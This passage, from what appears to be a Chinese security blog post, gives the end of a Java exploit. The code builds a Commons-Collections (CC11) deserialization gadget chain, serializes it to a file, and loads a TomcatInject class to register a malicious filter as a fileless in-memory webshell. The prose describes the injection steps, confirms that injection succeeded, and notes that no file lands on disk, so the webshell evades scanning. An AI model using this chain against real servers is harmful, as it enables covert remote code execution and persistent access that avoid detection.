  62. Field f3 = transformer.getClass().getDeclaredField("iMethodName");
  63. f3.setAccessible(true);
  64. f3.set(transformer,"newTransformer");
  65. try{
  66. // ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("First.ser"));
  67. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("Second.ser"));
  68. outputStream.writeObject(hashset);
  69. outputStream.close();
  70. }catch(Exception e){
  71. e.printStackTrace();
  72. }
  73. }
  74. public static byte[] getBytes() throws IOException {
  75. // 第一次
  76. // InputStream inputStream = new FileInputStream(new File("D://Test//TomcatFilterInjectFirst.class"));
  77. // 第二次
  78. InputStream inputStream = new FileInputStream(new File("D://Test//TomcatInject.class"));
  79. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  80. int n = 0;
  81. while ((n=inputStream.read())!=-1){
  82. byteArrayOutputStream.write(n);
  83. }
  84. byte[] bytes = byteArrayOutputStream.toByteArray();
  85. return bytes;
  86. }
  87. }

当然如果使用其他的也是可以的,比如我之前利用的CC11去改造,跟这个差不多的,只是在CC11的链子编写过程不一样而已。

还有就是也可以对要加载的class文件转成字节数组,写在代码中,就像之前用的那样。

不过就不贴代码了,都是代码看着烦。

测试注入效果

如果不想使用postman,那就利用一下传参直接传payload的,然后对字节码处理一下,比如进行base64编码一下了都可以的,当然在反序列化的时候也要先解码。这里因为解决环境问题,有些烦了,不想写了。

这是第一步,也就是上面过程中存入request和response的部分。

🍩结合CC11实现无文件落地内存马注入 - 图17

然后第二步开始动态注册filter进行注入了。

🍩结合CC11实现无文件落地内存马注入 - 图18

最后检验效果

🍩结合CC11实现无文件落地内存马注入 - 图19

注入成功。

对比

这个利用方式的目的就是,实现无文件落地注入filter内存马,现在看查杀表

🍩结合CC11实现无文件落地内存马注入 - 图20

再次查找,在C盘也是找不到文件的。D盘这些是我手动更改的。

🍩结合CC11实现无文件落地内存马注入 - 图21